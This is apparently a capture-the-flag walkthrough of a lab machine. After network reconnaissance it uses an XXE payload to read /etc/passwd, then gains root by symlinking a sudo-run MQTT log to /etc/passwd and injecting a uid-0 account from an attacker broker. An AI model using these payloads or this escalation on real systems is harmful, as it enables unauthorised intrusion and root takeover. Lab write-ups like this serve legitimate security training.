┌──(root㉿kali)-[~/Desktop/tmp]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:ff:66:80, IPv4: 192.168.31.129
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.31.1    0a:00:27:00:00:11       (Unknown: locally administered)
192.168.31.2    08:00:27:38:e9:13       PCS Systemtechnik GmbH
192.168.31.171  08:00:27:59:20:9a       PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.396 seconds (106.84 hosts/sec). 3 responded

┌──(root㉿kali)-[~/Desktop/tmp]
└─# nmap 192.168.31.171
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-30 03:50 EDT
Nmap scan report for 192.168.31.171
Host is up (0.0017s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:59:20:9A (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 6.80 seconds

<!-- XML STRUCTURE EXAMPLE -->
<!--
<user>
  <name>John Doe</name>
  <tel>123-4567890</tel>
  <email>admin@admin.com</email>
  <password>secret123</password>
</user>
-->

<?xml version="1.0"?>
<!DOCTYPE foo [  
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
 <user>
          <name>John Doe</name>
          <tel>123-4567890</tel>
          <email>&xxe;</email>
          <password>secret123</password>
        </user>

welcome@Bamuwe:~$ sudo -l
Matching Defaults entries for welcome on Bamuwe:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User welcome may run the following commands on Bamuwe:
    (ALL) NOPASSWD: /opt/sub.sh

welcome@Bamuwe:~$ cat /opt/sub.sh
/usr/bin/mosquitto_sub "$@" > /home/welcome/sub.log

┌──(root㉿kali)-[~/Desktop/tmp]
└─# vim /etc/mosquitto/mosquitto.conf

listener 1883
bind_address 0.0.0.0
allow_anonymous true
password_file /etc/mosquitto/pwflie.example

┌──(root㉿kali)-[~/Desktop/tmp]
└─# mosquitto
1746003305: mosquitto version 2.0.21 starting
1746003305: Using default config.
1746003305: Starting in local only mode. Connections will only be possible from clients running on this machine.
1746003305: Create a configuration file which defines a listener to allow remote access.
1746003305: For more details see https://mosquitto.org/documentation/authentication-methods/
1746003305: Opening ipv4 listen socket on port 1883.
1746003305: Opening ipv6 listen socket on port 1883.
1746003305: mosquitto version 2.0.21 running

welcome@Bamuwe:~$ ln -sf /etc/passwd sub.log

ll:$1$Zg12rJZk$P7IV1RqAT005RKjprDSo41:0:0:root:/root:/bin/bash

┌──(root㉿kali)-[~/Desktop/tmp]
└─# mosquitto_pub -t test -f passwd

welcome@Bamuwe:~$ sudo /opt/sub.sh -h 192.168.31.129 -p 1884 -t test

welcome@Bamuwe:~$ su - ll